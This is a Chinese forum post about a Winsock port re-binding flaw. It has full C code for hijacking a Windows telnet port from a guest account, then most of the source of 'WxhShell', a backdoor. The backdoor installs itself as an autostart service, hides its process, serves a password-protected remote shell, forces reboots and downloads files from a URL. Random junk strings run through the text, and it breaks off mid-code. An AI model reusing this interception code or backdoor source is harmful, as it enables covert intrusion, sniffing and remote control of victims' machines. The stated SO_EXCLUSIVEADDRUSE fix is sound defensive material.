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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M{nz~W80  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *w@>zkBl  
?*4]LuK6  
  saddr.sin_family = AF_INET; A= ,q&  
=U,;/f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ylo@  
yM#W,@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  ym${4  
[r]USCq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2\s-4H| q  
pw(`+x]  
  这意味着什么?意味着可以进行如下的攻击: kWoy%?|RRa  
?m~x%[Vn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z?v9ub~%  
? 4.W _  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?]P&3UU>0z  
o +aB[+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3>S.wyMR4  
-Mv`|odY/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m6 IZG l7%  
8PQ$X2)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $@K+yOq+u  
C?E;sRr0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KNK0w5  
("{AY?{{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `ZNjA},.  
jj.yB#T  
  #include >,~JQ%1  
  #include xQmk2S` y  
  #include y XS/3_A{  
  #include    69IBG,N'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |d,1mmv@K  
  int main() g[eI-J+F  
  { y"){?  
  WORD wVersionRequested; (:hPT-1  
  DWORD ret; Gt 2rJ<>  
  WSADATA wsaData; 6 #QS 5  
  BOOL val; 1F$a My?  
  SOCKADDR_IN saddr;  c<4pu  
  SOCKADDR_IN scaddr; J@R+t6$3O  
  int err; SSH/q/  
  SOCKET s; $'&`k,a3|P  
  SOCKET sc; bBDgyFSI <  
  int caddsize; hl# 9a?  
  HANDLE mt; SJy?^  
  DWORD tid;   f|b|\/.=  
  wVersionRequested = MAKEWORD( 2, 2 ); pf2$%lE  
  err = WSAStartup( wVersionRequested, &wsaData ); >\@6i s  
  if ( err != 0 ) { gbI0?G6XN/  
  printf("error!WSAStartup failed!\n"); ^Yn6kF  
  return -1; 5E.cJ{   
  } sN;U,{  
  saddr.sin_family = AF_INET; yJKezIL\z  
   PHz/^p3F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !Ug J^v  
b$B5sKQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XKR?vr7A2  
  saddr.sin_port = htons(23); ;APg!5X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qed; UyN  
  { =Qz 8"rt#  
  printf("error!socket failed!\n"); [F6=JZ  
  return -1; 0TVO'$Gvi  
  } H9 't;Do  
  val = TRUE; bu$5gGWVf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "+7~C6[s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i5)trSM|  
  { .JH3,L"S^  
  printf("error!setsockopt failed!\n"); Tl25t^Y  
  return -1; .j;My%)?p  
  } 0"<g g5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KK7Y"~ 9&-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vK$T$SL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !'PPj_Hp]  
O81})r*Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .[CXW2k  
  { O?{pln  
  ret=GetLastError(); d/* [t!   
  printf("error!bind failed!\n"); c| p eRO.  
  return -1; ;GvyL>|-~  
  } B8;ZOLAU  
  listen(s,2); 1{u;-pg  
  while(1) qOk4qbl[  
  { R?I(f(ib   
  caddsize = sizeof(scaddr); Q <78< #I  
  //接受连接请求  -EITz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L5e aQu  
  if(sc!=INVALID_SOCKET) OBj .-jL  
  { X|8Y z3:o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /'">H-r  
  if(mt==NULL) /#Ew{RvW'  
  { !7}5"j ;A  
  printf("Thread Creat Failed!\n"); .Sb|+[{  
  break; D0-C:gz  
  } Q}]Q0'X8  
  } G\Sd!'?p  
  CloseHandle(mt); |e+I5  
  } {Y IVHl  
  closesocket(s); S Xgpj  
  WSACleanup(); . vYGJ8(P  
  return 0; bC)<AG@Z\  
  }   C#vh2'  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5 bMVDw/  
  { 6,oi(RAf  
  SOCKET ss = (SOCKET)lpParam; ;ATk?O4T  
  SOCKET sc; i?mDR$X:  
  unsigned char buf[4096]; dqG+hh^  
  SOCKADDR_IN saddr; ~A"ODLgU9  
  long num; tCA |sN  
  DWORD val; N8m^h:b  
  DWORD ret; XrBLw}lD`N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m ;[z)-&"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Iy e  
  saddr.sin_family = AF_INET; `~*qjA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AbfLV942  
  saddr.sin_port = htons(23); Url8Z\;aM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d~28!E+  
  { &A%#LVjf  
  printf("error!socket failed!\n"); 17nWrTxR$  
  return -1; d eTUfbd'  
  } Pyk~V)~M  
  val = 100; ku`'w;5jT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r:YAn^Lg  
  { rWa7"<`p  
  ret = GetLastError(); $\0j:<o  
  return -1; e6{/e+/R  
  } VsUEp_I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %L~X\M:Qk  
  { m>UJ; F  
  ret = GetLastError(); "7gS*v,r  
  return -1; /&ph-4\i  
  } A$|> Jt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >-oa`im+  
  { [[TB.'k  
  printf("error!socket connect failed!\n"); v "oO  
  closesocket(sc); UVU}  
  closesocket(ss); ^3*gf}  
  return -1; +F 5Dc  
  } (<1DPpy95O  
  while(1) xG<S2R2VQh  
  { A6#ob  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }V9146  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wx:_F;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x6F\|nb  
  num = recv(ss,buf,4096,0); !.p!  
  if(num>0) 3)GXu>) t  
  send(sc,buf,num,0); u}#rS%SF*  
  else if(num==0) VX;u54hS  
  break; xcoYo  
  num = recv(sc,buf,4096,0); y )/d-  
  if(num>0) R_Eu*Qu j  
  send(ss,buf,num,0); zSkM8LM2  
  else if(num==0) ]kKf4SJZFU  
  break; =XoNk1  
  } Kji}2j'a  
  closesocket(ss); t,MK#Ko  
  closesocket(sc); a>s v  
  return 0 ; ~ |!q>z  
  } ]`u{^f  
z<@$$Z=0UF  
%zX'u.}8#  
========================================================== )rj.WK.  
BNzL+"W  
下边附上一个代码,,WXhSHELL q^12Rj;H  
tkJ/ h<  
========================================================== +ES.O]?>  
oNiS"\t  
#include "stdafx.h" !3T x\a`?/  
D Zh6/n#q  
#include <stdio.h> /=Xen mmS  
#include <string.h> +mxsjcq0  
#include <windows.h> #0^Q UOp  
#include <winsock2.h> /$q;-/DnTZ  
#include <winsvc.h> ifBJ$x(B.  
#include <urlmon.h> s/A]&! `  
w.0.||C O  
#pragma comment (lib, "Ws2_32.lib") H|,{^b@9  
#pragma comment (lib, "urlmon.lib") A.<X78!^  
dQizM^j  
#define MAX_USER   100 // 最大客户端连接数  H) (K  
#define BUF_SOCK   200 // sock buffer hO(HwG?8t  
#define KEY_BUFF   255 // 输入 buffer e HOm^.gd  
JWxPH5L  
#define REBOOT     0   // 重启 cHR}`U$  
#define SHUTDOWN   1   // 关机 -Fl3m  
_q8s 7H  
#define DEF_PORT   5000 // 监听端口 FtF!Dtv  
&[3!Lk`.0  
#define REG_LEN     16   // 注册表键长度 W>@+H"pZ  
#define SVC_LEN     80   // NT服务名长度 t?c*(?Xa  
r#{lpF,3Ib  
// 从dll定义API gW*ee  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^?juY}rZ=|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t+h"YiT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); huN(Q{fj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S>H W`   
s&fU|Jk8  
// wxhshell配置信息 R 6M@pO  
struct WSCFG { ]|732Z  
  int ws_port;         // 监听端口 WMI/Y 9N  
  char ws_passstr[REG_LEN]; // 口令 T;FzKfT|  
  int ws_autoins;       // 安装标记, 1=yes 0=no |-e=P9,  
  char ws_regname[REG_LEN]; // 注册表键名 iP_rEi*-J  
  char ws_svcname[REG_LEN]; // 服务名 M)b`~|Wt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bH,Jddc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Je?V']lm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1L$u8P^<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Um9=<*p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NZ.aI{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bF flA  
-7+Fb^"L  
}; X^@d@xU4v  
#}jf TM  
// default Wxhshell configuration x K_$^c.  
struct WSCFG wscfg={DEF_PORT, t@4vEKw?.X  
    "xuhuanlingzhe", 9xu&n%L=  
    1, C8n1j2G\  
    "Wxhshell", 6=H-H\iw  
    "Wxhshell", c=| a\\  
            "WxhShell Service", cb UVeh7Q  
    "Wrsky Windows CmdShell Service", MD1,KH+O  
    "Please Input Your Password: ", j+Tk|GRab  
  1, b,K1EEJ  
  "http://www.wrsky.com/wxhshell.exe", >>!+Ri\@  
  "Wxhshell.exe" O&X-)g=  
    }; n09|Jzv9  
NtT)Wl  
// 消息定义模块 X5<L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S[ 2`7'XV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >|rL0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (m,O!935f  
char *msg_ws_ext="\n\rExit."; i:z A(  
char *msg_ws_end="\n\rQuit."; LpF6e9V\Wp  
char *msg_ws_boot="\n\rReboot..."; =l_eliM/  
char *msg_ws_poff="\n\rShutdown..."; 8[y7(Xw  
char *msg_ws_down="\n\rSave to "; ( NiuAy  
0\ gE^=o[  
char *msg_ws_err="\n\rErr!"; w$t2Hd  
char *msg_ws_ok="\n\rOK!"; oiR` \uY  
v=W%|iZ  
char ExeFile[MAX_PATH]; #u2PAZ@qd  
int nUser = 0; "<.b=mN-  
HANDLE handles[MAX_USER]; dY O87n  
int OsIsNt; ry U0x  
82w< q(  
SERVICE_STATUS       serviceStatus; k5PzY!N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6!gGWn5>}  
>! c^  
// 函数声明 E]7G4  
int Install(void);  $hN!DHz  
int Uninstall(void); T&0tW"r?  
int DownloadFile(char *sURL, SOCKET wsh); =|G PSRQ  
int Boot(int flag); }u|0  
void HideProc(void); 1-b,X]i  
int GetOsVer(void); %_3{Db`R>  
int Wxhshell(SOCKET wsl); Lh. L~M1X  
void TalkWithClient(void *cs); ) .]Z}g&  
int CmdShell(SOCKET sock); 4mPg; n  
int StartFromService(void); 0\i&v  
int StartWxhshell(LPSTR lpCmdLine); f.8L<<5 c  
7"S|GEs:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6: M   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;aFQP:l/  
f{b"=hQ  
// 数据结构和表定义 "+AeqrYYm5  
SERVICE_TABLE_ENTRY DispatchTable[] = {uhw ^)v  
{ "w7:{E5e  
{wscfg.ws_svcname, NTServiceMain}, ?pVODnP k  
{NULL, NULL} vR`KRI`{  
}; 4b<:67 %  
_mO\Nw0  
// 自我安装 +q2l,{|?  
int Install(void) <Z0Tz6/j,  
{ #}vcffgZ  
  char svExeFile[MAX_PATH]; k,&W5zBKe  
  HKEY key; G N{.R7  
  strcpy(svExeFile,ExeFile); r<0 .!j%c  
:`uo]B"  
// 如果是win9x系统,修改注册表设为自启动 ricDP 9#a  
if(!OsIsNt) { >uUbWKn3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >o[T#U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z24-h C  
  RegCloseKey(key); LAvAjvRc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sB"]R%`_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y${ $7+@  
  RegCloseKey(key); 1o$<pZZ  
  return 0; I)sCWC:Mq~  
    } +V0uH pm  
  } F4:ssy^  
} dFS+O;zE\  
else { \C>I6{  
*D9QwQ _|  
// 如果是NT以上系统,安装为系统服务 G.BqT\ o'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g;*~ xo  
if (schSCManager!=0) '7xY ,IY  
{ .vb*|So  
  SC_HANDLE schService = CreateService 7zNyH(.  
  ( @ 8SYV}0H  
  schSCManager, t<`BaU  
  wscfg.ws_svcname, OgzPX^q/=  
  wscfg.ws_svcdisp, DG& kY+  
  SERVICE_ALL_ACCESS, d:j$!@o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $60+}B`m  
  SERVICE_AUTO_START, :oZ30}  
  SERVICE_ERROR_NORMAL, L>PpXTWwy  
  svExeFile, gfp#G,/B  
  NULL, L1J"_.=P  
  NULL, LUCpZ3F1  
  NULL, /]vg_&)=  
  NULL, %i96@ 6O  
  NULL &yP9vp="  
  ); }5% !: =  
  if (schService!=0) 0{jRXa-(  
  { !e%#Zb MIo  
  CloseServiceHandle(schService); fdPg{3x*k  
  CloseServiceHandle(schSCManager); rK`*v*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z |t0mS$  
  strcat(svExeFile,wscfg.ws_svcname); _E?(cWC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "V^(i%E;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~xA' -N/  
  RegCloseKey(key); jF'S"_/?  
  return 0; 7o ;}"Y1  
    } uODpIxN  
  } {Ynr(J.  
  CloseServiceHandle(schSCManager); p;C`n)7P7  
} j:fL_1m  
} _w'4f )7  
gTs5xDvJ  
return 1; 4sG^ bZ,  
} Ldig/:  
*VD-c  
// 自我卸载 6@ nEcr  
int Uninstall(void) =b6Q2s,i  
{ 92S<TAdPP  
  HKEY key; CjD2FnjT  
?}O\'Fa8  
if(!OsIsNt) { 7Xw #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _o<8R@1  
  RegDeleteValue(key,wscfg.ws_regname); p>!`JU`{?  
  RegCloseKey(key); F9Mv$ g79  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &%FpNU9  
  RegDeleteValue(key,wscfg.ws_regname); sl`\g1<{`  
  RegCloseKey(key); rs<UWk<q  
  return 0; |>d5 6  
  } 6\ (\  
} :xv"m {8+  
} {E>kFeg  
else { TqzkF7;k4  
MQLa+I,S4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3'IF? ](]U  
if (schSCManager!=0) (L q^C=  
{ # Z8<H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 02bv0  
  if (schService!=0) $+ lc;N  
  { #W* 5=Cf  
  if(DeleteService(schService)!=0) { A LKU  
  CloseServiceHandle(schService); z$S)|6Q  
  CloseServiceHandle(schSCManager); F4KXx^~o  
  return 0; XlR.Y~  
  } :+en8^r%  
  CloseServiceHandle(schService); !,|yrB&`S  
  } bT0CQ_g21  
  CloseServiceHandle(schSCManager); h_fA  
} c:4 i&|n  
} > u~ l_?  
P!1y@R>Ln  
return 1; P>Pw;[b>O  
} ^!?W!k!:V  
1dHN<xy  
// 从指定url下载文件 = gOq >`  
int DownloadFile(char *sURL, SOCKET wsh) 1Hk`i%  
{ uq{w1O5  
  HRESULT hr; v2/@Pu!kg  
char seps[]= "/"; XWH~o:0<2  
char *token; 3)p#}_u{  
char *file; r +d%*Dx  
char myURL[MAX_PATH]; .kyp5CD}4  
char myFILE[MAX_PATH]; 9qIjs$g  
6f{Kj)  
strcpy(myURL,sURL); A^*0{F?,)  
  token=strtok(myURL,seps); &Z#g/Hc  
  while(token!=NULL) gT?:zd=;  
  { auK*\Wjm?  
    file=token; &O7]e3Ej  
  token=strtok(NULL,seps); p^<*v8,~7  
  } r3{Cuz  
tg.[.v Ks  
GetCurrentDirectory(MAX_PATH,myFILE); R:fERj<s  
strcat(myFILE, "\\"); SI^!e1@M[  
strcat(myFILE, file); l'y)L@|Qrh  
  send(wsh,myFILE,strlen(myFILE),0); y)CnH4{  
send(wsh,"...",3,0); -Uh3A\#(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LJ\uRfs  
  if(hr==S_OK) p gW BW9\  
return 0; Z vM~]8m  
else 4'P otv@/  
return 1; au1uFu-  
:Z3Tyj}4  
} W; P8=q  
fX^ <H_1$G  
// 系统电源模块 *QH@c3vUe\  
int Boot(int flag) GHaD32  
{ XOe)tz L  
  HANDLE hToken; 3"!h+dXw  
  TOKEN_PRIVILEGES tkp; h/?$~OD  
I($0&Y\De  
  if(OsIsNt) { PFq1Zai}n|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5%Hw,h   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =ss(~[  
    tkp.PrivilegeCount = 1; 8eGq.+5G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r01Z 0>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aQzx^%B1  
if(flag==REBOOT) { KxhMPvN'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mmRxs1 0$  
  return 0; rom`%qp^  
} oG{0 {%*@  
else { (_1(<Jw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g3B%}!|  
  return 0; __LR!F]=i  
} w#0/&\ b=  
  } UNY O P{  
  else { =#L\fe)q)  
if(flag==REBOOT) { 5e1;m6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a=@]Ov/  
  return 0; ,6@s N'c  
} 57@6O-t-  
else { ^__';! e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V7DMn@Ckw  
  return 0; nM#/uuRl|  
} `X)y5*##wq  
} @:s (L]  
tx`gXtO$  
return 1; 5NGQWg  
} N_L~oX_  
l5P!9P  
// win9x进程隐藏模块 %'o'Kh''=  
void HideProc(void) Y2$wL9">  
{ IE]? WW5  
S,0h &A9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8=TM _  
  if ( hKernel != NULL ) W2>VgMR [  
  { }ZqnsLu[)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  KEPNe(H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1egq:bh  
    FreeLibrary(hKernel); $Iz*W]B!  
  } T"IDCT'z  
!1m7^3l7j  
return; {gT4Oq__  
}  /dI8o  
d%,@,>>)  
// 获取操作系统版本 :Eb=jWA  
int GetOsVer(void) | -l9Z  
{ #|j8vmfn$e  
  OSVERSIONINFO winfo; /M2U7^9``"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KwAc Ga}J  
  GetVersionEx(&winfo); unvS`>)Np  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OV2/?  
  return 1; @js`$  
  else CXiDe)|<E  
  return 0; '><I|c}  
} N++ ;}j  
~v>3lEGn*  
// 客户端句柄模块 RoFoEp  
int Wxhshell(SOCKET wsl) 3-Bz5sj9  
{ nixIKOnjC  
  SOCKET wsh; (l+0*o,(  
  struct sockaddr_in client; TTagZI$  
  DWORD myID; 1`Z:/]hl  
tqD=)0Uzs  
  while(nUser<MAX_USER) ls({{34NF  
{ `eEiSf  
  int nSize=sizeof(client); gT_tR_g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X<sM4dwxE  
  if(wsh==INVALID_SOCKET) return 1; FFtB#  
A1Es>NK[qW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XOL_vS24  
if(handles[nUser]==0) H-iCaXT  
  closesocket(wsh); Nr"gj$v  
else Og-v][  
  nUser++; ~F " w  
  } kD46Le++B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :JXGgl<y  
]P*H,&I`#  
  return 0; vd9PBN  
} a)S{9q}%  
s5\<D7  
// 关闭 socket (M# m BS  
void CloseIt(SOCKET wsh) :z-?L0C=0  
{ fl8eNi E|  
closesocket(wsh); :sX4hZK =G  
nUser--; LGh#  
ExitThread(0); HDi_|{2^  
} cO8yu`4!e  
>H5_,A}f  
// 客户端请求句柄 m1D,#=C,_  
void TalkWithClient(void *cs) z2iWr  
{ tISb' ^T  
G:!3X)b  
  SOCKET wsh=(SOCKET)cs; #Xk/<It  
  char pwd[SVC_LEN]; KFBBqP  
  char cmd[KEY_BUFF]; *X!+wK-+  
char chr[1]; r ?<?0j  
int i,j; .U#oN_D  
 c?*x2Vk  
  while (nUser < MAX_USER) { KK?R|1VK9  
$}EI3a  
if(wscfg.ws_passstr) { T"DG$R,Aj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }XD=N#p@z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j9/hZqo  
  //ZeroMemory(pwd,KEY_BUFF); siOyp ]  
      i=0; BPSi e0  
  while(i<SVC_LEN) { Ip0`R+8  
F?Fxm*Wa/  
  // 设置超时 UNA!vzOb  
  fd_set FdRead; gm$<U9L\v  
  struct timeval TimeOut; =, 64Qbau  
  FD_ZERO(&FdRead); 4D[(X=FSU  
  FD_SET(wsh,&FdRead); t(99m=9>  
  TimeOut.tv_sec=8; HggINMG  
  TimeOut.tv_usec=0; \0;EHB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TU1W!=Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r*c x_**  
)_kU,RvZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (g>&ov(d  
  pwd=chr[0]; -n:;/ere7-  
  if(chr[0]==0xd || chr[0]==0xa) { 8CUl |I ~  
  pwd=0; G[+{[W  
  break; WeIi{<u8R  
  } &x3R+(H {  
  i++; )&[ol9+\  
    }  [33=+C a  
G%dzJpC(  
  // 如果是非法用户,关闭 socket U9XOs)^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0pBG^I`_  
} Hv*+HUc(:  
u)~::2BXAn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~3$:C#"Dl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ft$ 'UJ% j  
l]L"Ex{  
while(1) { $VeQvm*  
{ 3Qlx/6<  
  ZeroMemory(cmd,KEY_BUFF); "d*-k R  
 eI/@ut}v  
      // 自动支持客户端 telnet标准   qhmA)AWG>  
  j=0; [M?&JA_$}  
  while(j<KEY_BUFF) { dF^`6-K1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;It1i`!R  
  cmd[j]=chr[0]; ahR-^^'$  
  if(chr[0]==0xa || chr[0]==0xd) { /~+j[o B  
  cmd[j]=0; KkSv2 3In  
  break; d&X <&)a7  
  } SpM Hq_MLM  
  j++; xgIb4Y%  
    } RWZjD#5%Z  
} DjbVYH  
  // 下载文件 ={I(i6  
  if(strstr(cmd,"http://")) { [ z{ }?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]eI|_O^u  
  if(DownloadFile(cmd,wsh)) QaLVIsnfN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r#c+{yY  
  else V0*9Tnc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,ysn7Y{Y  
  } bKQ-PM&I/t  
  else { Cdc=1,U(  
w"!zLB&9[  
    switch(cmd[0]) { Zb2.o5#}  
  CMfR&G,)  
  // 帮助 `o%Ua0x2  
  case '?': { m$bNQ7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `llSHsIkXb  
    break; 0T:ZWRjH  
  } *KPNWY9!W  
  // 安装 F"a31`L>H  
  case 'i': { lsOZ%p%fV  
    if(Install()) gP=@u.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G:;(,  
    else (oB9$Zz!t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E>rWm_G  
    break; gX]'RBTb  
    } ig?Tj4kD  
  // 卸载 \)BDl  
  case 'r': { ANd#m9(x  
    if(Uninstall()) _UUp+Hz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !}Ty"p`  
    else w]Ci%W(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M9wj };vy  
    break; Nk shJ2  
    } %|3NCyJ*7  
  // 显示 wxhshell 所在路径 R1\$}ep^  
  case 'p': { #}zL?s^G  
    char svExeFile[MAX_PATH]; lR3JyYY{X  
    strcpy(svExeFile,"\n\r"); ipJnNy;  
      strcat(svExeFile,ExeFile); Z"a]AsG/Q#  
        send(wsh,svExeFile,strlen(svExeFile),0); _"sFLe{  
    break; #VM-\02o  
    } 3o^  oq  
  // 重启 .8Gmy07  
  case 'b': { G 4 C 7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i)+2? <]  
    if(Boot(REBOOT)) 9h'klaE(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fu7J{-<<R  
    else { D(Yq<%Q  
    closesocket(wsh); b{lkl?@a  
    ExitThread(0); df!n.&\y!  
    } =]F15:%Z q  
    break; VTxLBFK;  
    } f*ZIBTb 9  
  // 关机 uM9RlI5  
  case 'd': { u6BLhyS  
